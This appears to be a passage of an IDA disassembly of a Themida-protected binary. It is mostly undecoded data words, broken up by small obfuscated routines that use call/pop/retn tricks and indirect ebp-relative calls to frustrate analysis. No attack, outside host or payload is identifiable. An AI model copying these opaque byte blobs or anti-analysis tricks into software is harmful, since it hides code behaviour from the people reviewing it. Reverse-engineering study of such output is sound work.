		or	[ebp+7D129D1h],	esi
		push	dword ptr [ebp+7D105A9h]
		jb	loc_5D91AD
		mov	edi, [ebp+7D12ED1h]


loc_5D91AD:				; CODE XREF: Themida_:005D91A1j
		call	dword ptr [ebp+7D1141Dh]
		jmp	loc_5D92EA
; ---------------------------------------------------------------------------
		dd 9589D5B7h, 7D10785h,	70E600B0h, 2C1D9529h, 71E407D1h
		dd 8BDE8B66h, 0D13099BDh, 0F613C07h, 10D83h, 0D8D0100h
		dd 0F07D11Dh, 12E9C8B6h, 3B000000h, 705097F8h, 59E5396Fh
		dd 49FC8427h, 0F8D0C6C2h, 6BA52h, 880F0000h, 2,	0C18B95B7h
		dd 0DE9h, 0EC3FC200h, 84429DDCh, 45F9629h, 0DB81283Ah
		dd 7FE85F42h, 8B04E8C1h, 0E2F766D9h, 0EE8h, 0A15D000h
		dd 1CA90BE1h, 0F4D7CD56h, 89B5B131h, 0D11C4995h, 81665F07h
		dd 2B8A9CEBh, 0CECB81C8h, 8B1A86BCh, 0E9FB8BD1h, 8Eh, 2161BD29h
		dd 858B07D1h, 5F4C4C44h, 7C083F8h, 341DB589h, 0C08307D1h
		dd 6800F00h, 23000000h,	0D13171BDh, 6890F07h, 89000000h
		dd 0D11C71BDh, 0FD03B07h, 1583h, 0FDBD8B00h, 0E907D118h
		dd 4Ah,	48C0Fh,	0BB660000h, 8D8BDFABh, 0FFFFFFFFh, 2F9D8D89h
		dd 0E18307D1h, 2B840F01h, 0E9000000h, 0Dh, 1C98C78Bh, 20B9C1F7h
		dd 0FA4476B1h, 0FFA5833Eh, 0FEFFFFFFh, 0DFCF8166h, 449589B9h
		dd 8B5F4C4Ch, 0E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D92EA:				; CODE XREF: Themida_:005D91B3j
		lea	esi, [ebp+7D5AA7Bh]
		push	0
		push	esi
		call	sub_5D92FB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D92FB	proc near		; CODE XREF: Themida_:005D92F3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5D92FB	endp

; ---------------------------------------------------------------------------
		mov	ah, 0B4h
		mov	[ebp+7D11C39h],	edi
		push	0
		push	0
		push	edi
		call	sub_5D9320
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D9320	proc near		; CODE XREF: Themida_:005D9318p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5D9320	endp

; ---------------------------------------------------------------------------
		fld	dword ptr [ecx-4ACE09Dh]
		call	dword ptr [ebp+7D10055h]
		and	ebx, 5921CC17h
		mov	ecx, 11BAh
		push	0
		push	ebx
		call	sub_5D9352
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D9352	proc near		; CODE XREF: Themida_:005D934Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5D9352	endp

; ---------------------------------------------------------------------------
		dw 3525h
		dd 0F4B8C339h, 0FE9F9h,	0CE300000h, 0C74CF61Bh,	80692EC3h
		dd 0AEC4A064h, 0FCE1831Bh, 0BCBFFCF5h, 317DF48Eh, 0D1284D85h
		dd 0B807h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 94F932C3h, 0A780A2C4h, 0C7818222h
		dd 58ED1910h, 9589D22Bh, 7D13165h, 3465BD8Bh, 33AD07D1h
		dd 3E8D1C2h, 4E983D0h, 8166F475h, 605964C3h, 1B95BD8Bh
		dd 0F08107D1h, 2E3277Dh, 880D61h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6424CCC3h
		dd 2947BF14h, 0BF667826h, 6E951DBh, 6B000000h, 7D04F832h
		dd 51958B0Eh, 6A07D11Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0FB4C353h, 8D8BDBBFh
		dd 7D12D55h, 108A0Fh, 8E80000h,	10000000h, 0F1DBAE5h, 0B3F543E3h
		dd 8B505BD2h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B2C35747h
		dd 492A26Eh, 7C9784Fh, 999D8BA3h, 8307D12Dh, 0D11BC5BDh
		dd 840F0007h, 78h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 2EC35646h, 0BD896FAAh, 7D101F1h, 0B8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 766037BBh, 6F9F78A5h, 8D89473Eh,	7D1084Dh
		dd 4D0A8D8Dh, 0CE807D1h, 7D000000h, 44E773DFh, 0D321EA5h
		dd 3308C831h, 0D11BDDBDh, 0E1FF5F07h, 2F51BF66h, 1D39BD83h
		dd 0F0007D1h, 48884h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 942126E7h, 0EB812FCCh
		dd 0A7A3070h, 1D39BD83h, 0F0107D1h, 46F84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0A224E29Bh, 7C620020h, 39BD835Ch, 307D11Dh, 408860Fh
		dd 0E7810000h, 327616C2h, 11BD8B60h, 8A07D114h,	0D98C66FCh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0F8C35040h
		dd 0BD8B8174h, 7D12599h, 6A04E180h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0AF8C357h
		dd 0A9840FC9h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 1582C356h, 2D348DC4h
		dd 0BD8BD7FFh, 7D121C9h, 0EE9h,	0D80CB200h, 7BD13083h
		dd 3425DC14h, 8B0AF185h, 0D128F585h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 7D62B365h
		dd 6850FCCh, 8B000000h,	0D11EE1BDh, 11BD2B07h, 3307D109h
		dd 0D131CD85h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 91B20CCCh, 40CAC4FCh
		dd 81567A54h, 3AD24FEFh, 66505F2Ch, 489DE8Bh, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0E5B6F62h, 0C7808C86h, 6A006AFFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 9A0AC350h
		dd 0B18D0119h, 0E907D132h, 10h,	39D7B8ECh, 7147783Dh, 86E19FEAh
		dd 0A5F8092Dh, 0B3BC3968h, 0D4E4BBEEh, 4815982h, 6B47C624h
		dd 7E911h, 480A0000h, 537775E8h, 1595FF93h, 6A07D12Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 3D02C351h, 62356433h, 35E8E781h, 10E84F9Dh
		dd 5F000000h, 0DA4E0E33h, 8BC547FCh, 582FF72h, 5BCED6CEh
		dd 0EA5A8589h, 88E907D4h, 0F000001h, 1682h, 10E800h, 10840000h
		dd 0EF563E9Ch, 1D3B703Ch, 0C0475186h, 0F5FA4FDh, 0F86h
		dd 0AE900h, 24DC0000h, 0B9092CF4h, 0F0771C18h, 0EA52858Bh
		dd 0D88B07D4h, 1800C7h,	9E90000h, 78000000h, 9C671254h
		dd 77DB67E7h, 0EA56B58Bh, 816607D4h, 8B5ACCC7h,	0D10C9D85h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 89C692E4h, 65BD0306h, 8B07D119h,	0D128F585h
		dd 6B1DBB07h, 46892595h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 70A8B3Dh, 56A0866Ah, 0EE95069h
		dd 94000000h, 0DC938B84h, 656B77Ah, 0E11756D6h,	2434898Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 4C35646h
		dd 4AA79858h, 0BBA30B33h, 5AE4E8C2h, 0EA52B5FFh, 0D98A07D4h
		dd 0C5B60668h, 4840FE3h, 66000000h, 814339BFh, 4DF92404h
		dd 880F1C59h, 2, 858DDA8Bh, 7D4EA5Ah, 25C19D89h, 0E99007D1h
		dd 0Dh,	0A3FF59CDh, 0D3F4691Ah,	5B45390Fh, 5250502Ch, 0FFB8B66h
		dd 0F88B6631h, 0F90585Ah, 0BD8BFAB7h, 7D12BFDh,	2B1595FFh
		dd 6A07D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F861EC3h, 68Eh, 0ADBD8900h, 0F07D133h, 28Eh
		dd 61FD8A00h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ah,	58C35343h, 2A857FC2h, 0B70FB225h, 35B589DFh, 0C707D132h
		dd 0D11D3985h, 307h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0C602BCC0h, 29EFAE10h
		dd 0D10EE995h, 5ABD8307h, 7D4EAh, 40840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0A0C0F4C3h, 8589E200h, 7D11EF5h, 299D9D8Bh, 2AE907D1h
		dd 0E8000000h, 9, 7A6D2E3Fh, 43E152FEh,	30505BF3h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 42815648h, 60763400h, 77D8D89h, 816607D1h, 619D9CEFh
		dd 22199D8Bh, 6E907D1h,	0D3000000h, 9EA90D3Ah, 0DD95893Ch
		dd 0F07D12Eh, 1483h, 0CE800h, 3A0E0000h, 35747CBAh, 0DB1B7972h
		dd 5F560D1Bh, 39BD835Fh, 307D11Dh, 475850Fh, 0BD8B0000h
		dd 7D10195h, 0EA5ABD83h, 0F0007D4h, 46284h, 39852900h
		dd 0FF07D114h, 0D4EA5AB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 95FFFCA7h
		dd 7D12EB1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	31C35545h, 0B58BF5ECh, 7D4EA4Eh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0EBC35343h, 1E36B3F9h
		dd 8F0F9C9Dh, 6, 31299D8Bh, 6C707D1h, 10001h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 5EC35040h, 96DBBF0Fh
		dd 0A1FFBF66h, 96DC8A50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 7CC35343h, 0DF1734BFh, 29FA616Dh, 39BB667Ch
		dd 5AB5FF97h, 0E907D4EAh, 12h, 75B0A53Eh, 2CD634Fh, 2C4657EDh
		dd 0D0624C43h
		dd 95FF2C44h, 7D131A5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0C5C35747h, 0E006C88Fh, 0E98E78FEh, 6
		dd 560D69A5h, 0B58BF07Ch, 7D4EA4Eh, 44EF0DBFh, 31858B29h
		dd 0E907D12Bh, 0Ch, 0EE5FE02Dh,	3751D61Bh, 0E5533126h
		dd 0C48689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 818E1EC3h, 9783CD4Ah, 0FB8B6635h
		dd 1B51958Bh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 601E6BC3h, 1F2DBD8Bh, 9D0307D1h
		dd 7D128A1h, 4C28361h, 4840FF5h, 66000000h, 890EE0BFh
		dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 4D4A01C3h, 9230EE52h, 66F9CB80h, 858DFE8Bh
		dd 7D4FEE5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	33C35545h, 8689CC7Fh, 0B8h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0AAC35545h,	0C78C25A4h, 0DDE4D183h
		dd 0DE9B3h, 0E50E0000h,	0C459F0A8h, 1F07F551h, 0B7E656D7h
		dd 0B800F60h, 0E9000000h, 6, 0DCA7FA7Fh, 6A0FCEh, 5CDB589h
		dd 0B5FF07D1h, 7D4EA5Ah, 3131BD8Bh, 95FF07D1h, 7D11DE9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0DDC35545h
		dd 46E8E306h, 979262Fh,	0D105F99Dh, 3FBF9607h, 5062F1B9h
		dd 3C4EBB60h, 8B665F56h, 6A9661D8h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 574CC353h
		dd 9E0DA12Fh, 8AEB5738h, 5AB5FFFDh, 6A07D4EAh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0F2F1C352h, 0EC499EACh, 939B3B46h, 95FFFA8Bh, 7D12D9Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EAC35646h
		dd 0E9D4E3D2h, 457B50C8h, 15659529h, 8E807D1h, 5E000000h
		dd 0F109F4EFh, 89D245C6h, 0D100CDB5h, 0BD8B5B07h, 7D131A9h
		dd 2809BD83h, 0F0007D1h, 4684h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 21BD891Fh
		dd 6607D11Eh, 0E950FB8Bh, 12h, 0F31FC306h, 6F06D1F5h, 9798287Fh
		dd 0A7423EF0h, 3489C354h, 0B9BD8924h, 0FF07D117h, 0D4EA5AB5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0A402FA40h, 0BFAA753Dh, 38396511h, 0F0EF8166h
		dd 0B595FF31h, 8A07D132h, 5AB5FFD8h, 0E907D4EAh, 0Bh, 0AB64196Bh
		dd 1D31A8ECh, 0FFBE5474h, 0D1270995h, 9DB52907h, 2907D118h
		dd 0D1256585h, 0C1BD8307h, 207D10Fh, 3E840Fh, 9D290000h
		dd 7D118FDh, 1E25858Bh,	6A07D1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 276783C3h, 0E72C2AB2h
		dd 66A8BDB7h, 0C6B0EABBh, 0BD8B0000h, 7D1284Dh,	22CD85C7h
		dd 7D1h, 8D090000h, 7D12BADh, 58E0Fh, 0E6BB0000h, 0E95B0954h
		dd 0FFFFF292h, 12E9h, 77158700h, 4A1EEDF3h, 0BFE176D4h
		dd 0A397B143h, 8BB296F2h, 56006AC1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 9989FAC1h
		dd 68AC2494h, 0EE916h, 8420000h, 0B3CE9839h, 99055F9Dh
		dd 511DFC18h, 1361858Dh, 6A07D1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 8E35E8C3h, 50507DAEh
		dd 0F8BF5250h, 0F526FB6h, 0F525031h, 5A585A31h,	4895F58h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0C4FA4AFCh, 0FF88FFB8h, 0DA8B7CD8h, 0BD8B006Ah
		dd 7D12171h, 8B66006Ah,	14E9DAh, 918C0000h, 703FC36h, 0EA4658Dh
		dd 907C7639h, 4A4A6CB7h, 858D2E58h, 7D63AB6h, 42DF8166h
		dd 5C08311h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0BAC35242h, 7BBC67F2h, 0BD0BD911h, 7D11621h, 8E990h
		dd 0EF540000h, 533DE28Ah, 0BB508111h, 16B834BAh, 35BD8B90h
		dd 6A07D12Bh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 6E55AD90h, 0DAB70F43h, 0FE9h, 9FFA0700h
		dd 6B1E1CF1h, 0D2703D81h, 0A7EB4EC1h, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0D7A12C3h, 7289E569h, 899D3165h, 8B07D105h, 0D12699BDh
		dd 0E195FF07h, 8B07D11Dh, 0D12031BDh, 668D8D07h, 6607D4D5h
		dd 0D1FFFB8Bh, 0C0E38166h, 15BD8313h, 107D117h,	5E850Fh
		dd 0BE90000h, 0F8000000h, 1150FE88h, 548BE7C0h,	8B66B287h
		dd 6A026ADEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0F2EAC350h, 4F4F9137h,	6660909Dh
		dd 5061F18Bh, 0E890Fh, 52500000h, 33D1BF66h, 0BB66310Fh
		dd 585AE8B0h, 8B665190h, 95FF5BF8h, 7D11DE9h, 0DE2E9h
		dd 0E800h, 815D0000h, 0D63AC0EDh, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0D9BF0FBDh
		dd 20B59D89h, 6A07D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 380415C3h, 0B58979CDh, 7D113D9h
		dd 0BC77858Dh, 8D3107D4h, 7D11E79h, 0DE46BF90h,	90504BA0h
		dd 0F41B589h, 0FF6407D1h, 35h, 25896400h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5DA183
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA183	proc near		; CODE XREF: Themida_:005DA17Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5DA183	endp

; ---------------------------------------------------------------------------
		db 4Eh
		dd 98C45ADFh, 0FE973h, 0B2250000h, 9A837A10h, 0DA116A78h
		dd 0AC40B2F5h, 0DEB70F04h, 292185FFh, 0E78107D1h, 2A9E96D4h
		dd 0FF6AFE8Bh, 418589h,	0B5FF07D1h, 7D128A5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7BC35747h, 0F66CA3F9h
		dd 4421D9Fh, 9199D8Bh, 95FF07D1h, 7D1141Dh, 15DE9h, 118B0F00h
		dd 0E9000000h, 0Ch, 567EF4AEh, 0A55A762Fh, 0D05BC954h
		dd 0AE800B0h, 0B8000000h, 874B80D6h, 4E937DF3h,	5FB2B7C5h
		dd 0D2B70F60h, 2850Fh, 61600000h, 0E470E661h, 14E871h
		dd 78570000h, 0DFD10C81h, 0A5594367h, 8510C311h, 4D31F885h
		dd 9589CC47h, 7D12305h,	0F613C5Fh, 0F983h, 4D9D2B00h, 0F07D10Ch
		dd 0A4B7C8B6h, 6870Fh, 8D290000h, 7D118F1h, 6BAh, 0B99D8900h
		dd 8B07D118h, 0BE6660C1h, 0C1616C65h, 0BB6604E8h, 0F766BC5Ch
		dd 2DBD89E2h, 2B07D10Ch, 0FBD381C8h, 8B3ACB3Fh,	11E9D1h
		dd 8CA10000h, 0A6E3C483h, 0C0696E1Bh, 2C02B2CFh, 0E9FBCF7Fh
		dd 9Ah,	0D8C0F56h, 0E9000000h, 8, 0DD5BF4D1h, 65B79F10h
		dd 50858B5Bh, 0E847554Ch, 0Bh, 0F458B092h, 3AC88370h, 5F2A73B4h
		dd 6607C083h, 831C6EBFh, 8E0F00C0h, 2, 0D03BDF8Bh, 19830Fh
		dd 0BF0F0000h, 4CE9DFh,	66530000h, 5FE58BBFh, 6E9h, 3C17CB00h
		dd 8BFB93D8h, 0FFFFFF8Dh, 0A99589FFh, 8307D131h, 840F01E1h
		dd 26h,	2800Fh,	0F0B70000h, 0FFFFA583h,	89FEFFFFh, 0D11BA585h
		dd 50958907h, 5747554Ch, 0D9DDBB66h, 0E95Bh, 0B58D0000h
		dd 7D5BC35h, 66006AF8h,	95FFFE8Bh, 7D10055h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 29C35040h, 5BB9FE8Bh
		dd 6A00000Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 44F1C355h, 6BD8A4FFh, 9D8B172Bh
		dd 7D10C21h, 2961BD8Bh,	0E18307D1h, 51006AFCh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0BD8BFC19h
		dd 7D11621h, 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0BF2E61C3h, 0CA07AA76h, 5E9A1h
		dd 0C2CF0000h, 2BDB709Ch, 59D8BD2h, 8B07D116h, 0D125DDBDh
		dd 0C233AD07h, 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 6A1B4Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 531F63C3h, 0D9BD8BFBh, 0F07D108h,	680h, 79953100h
		dd 0D07D119h, 88h, 32A1BD8Bh, 958B07D1h, 7D11B51h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 4AC35545h, 66AF052Dh
		dd 0EBCFDB81h, 2D558D8Bh, 6A07D1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 4DA328C3h, 0BD8BE591h
		dd 7D1007Dh, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 0B5895818h, 7D130E1h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 6AC35545h, 113B6469h,	2AC9BD8Bh, 0BD8307D1h
		dd 7D11BC5h, 7F840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BEBEC351h
		dd 4D77EFD7h, 0E780A43Dh, 0CFDB812Fh, 0B8350544h, 0
; ---------------------------------------------------------------------------
		jge	loc_5DA564
		mov	edi, ecx


loc_5DA564:				; CODE XREF: Themida_:005DA55Cj
		lea	ecx, [ebp+7D14D0Ah]
		push	0
		push	esi
		call	sub_5DA575
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA575	proc near		; CODE XREF: Themida_:005DA56Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5DA575	endp

; ---------------------------------------------------------------------------
		db 0E6h, 8Fh, 0E3h
; ---------------------------------------------------------------------------
		jmp	ecx
; ---------------------------------------------------------------------------
		dw 14E8h
		dd 0BD000000h, 0EE6784F0h, 0B0889AF3h, 0D7CC9CDEh, 0ECEC6F7Dh
		dd 8B7D97FBh, 0D120499Dh, 0BD835B07h, 7D11D39h,	0AB840F00h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 896AC350h, 0D1293D9Dh,	39BD8307h
		dd 107D11Dh, 497840Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 9193CEC3h, 93DE7173h
		dd 0BE9h, 0D3064D00h, 0F75E8B01h, 76969EC3h, 39BD83FCh
		dd 307D11Dh, 421860Fh, 0DF810000h, 2AFF06F4h, 52006A60h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 1FF5F955h, 15E92B35h, 0FD852999h, 6607D11Fh,	8F0FD98Ch
		dd 0
; ---------------------------------------------------------------------------
		and	cl, 4
		push	0
		push	ebp
		call	sub_5DA66E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA66E	proc near		; CODE XREF: Themida_:005DA666p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5DA66E	endp

; ---------------------------------------------------------------------------
		dw 93Eh
		dd 0EAA7F8EBh, 840FC90Ah, 0F8h,	2D59BD8Bh, 810F07D1h, 6
		dd 13659D29h, 858B07D1h, 7D128F5h, 15ED9D8Bh, 853307D1h
		dd 7D131CDh, 70D8501h, 515007D1h, 6890Fh, 52500000h, 585A310Fh
		dd 2404895Fh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	73C35242h, 6D9D8919h, 6A07D128h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 8D895743h, 7D11F71h,	9758FC68h, 81FA8B44h, 5B032434h
		dd 6A4488h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 40884AC3h, 0E7641522h, 95897B3Fh,	7D10249h
		dd 2B1595FFh, 9D3107D1h, 7D12465h, 0EA5A8589h, 6A07D4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0D381BCC3h, 473B17C3h, 238E9h, 32CB8000h, 0EA52858Bh
		dd 6A07D4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0EF817EC3h, 390C739h, 1800C7h, 0B58B0000h
		dd 7D4EA56h, 16599D89h,	858B07D1h, 7D10C9Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 46C35545h, 0EBBF66CEh
		dd 0E9B589CBh, 8907D117h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BF664CFCh
		dd 858B57D7h, 7D128F5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 90C35040h, 0E7B292F8h, 0CD7DBB2Dh, 9E934BEh
		dd 0D3000000h, 0BA35AC7Fh, 0B823F3CDh, 6A044689h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0E838C355h, 7, 90FC5D66h, 81549F37h,	0C24317C7h, 89505B08h
		dd 89602434h, 0D12C1DB5h, 0FF61F807h, 0D4EA52B5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 76DF5AF0h, 0BF66538Ah, 4E8FFAFh, 0FF000000h,	53001F03h
		dd 5BF98B66h, 64BB6650h, 24448BBCh, 0F008B04h, 1E86h, 12E800h
		dd 0CB300000h, 6D6FA4A4h, 428362F1h, 0E3328CFAh, 42B54274h
		dd 840Fh, 895F0000h, 66042444h,	58411BBFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6CC35343h, 709718CAh
		dd 1624960Ch, 14E91Eh, 970C0000h, 0ABBE2A94h, 0EB75848Eh
		dd 0BE425FE4h, 8D741473h, 858D89E4h, 7D4EA5Ah, 6E9h, 0F4555300h
		dd 507AFCBFh, 89DA8B66h, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 30DBD2C3h, 26A27AF9h
		dd 0CB81E1F6h, 5224325Ah, 2B1595FFh, 6A07D1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E87D49C3h
		dd 0Eh,	0F246955Dh, 0F1C7DA1Bh,	31BC2554h, 9529D169h, 7D108ADh
		dd 33BF665Fh, 6A6139h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 7AA206C3h, 21399D8Bh, 9D8B07D1h
		dd 7D113E5h, 1D3985C7h,	307D1h,	0B5010000h, 7D10199h, 0EA5ABD83h
		dd 0F0007D4h, 4684h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0BA526115h, 5F577A24h
		dd 39E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 5030E94Ch, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0CB81C08Bh, 3738B6C2h, 0BD83D7B3h
		dd 7D11D39h, 1A850F03h,	66000004h, 6C16CF81h, 0EA5ABD83h
		dd 0F0007D4h, 40884h, 0D3816600h, 0B5FF990Ch, 7D4EA5Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F3C35242h
		dd 1E0D2111h, 7B0A076Ah, 12E957h, 53B70000h, 0AA5F7CD3h
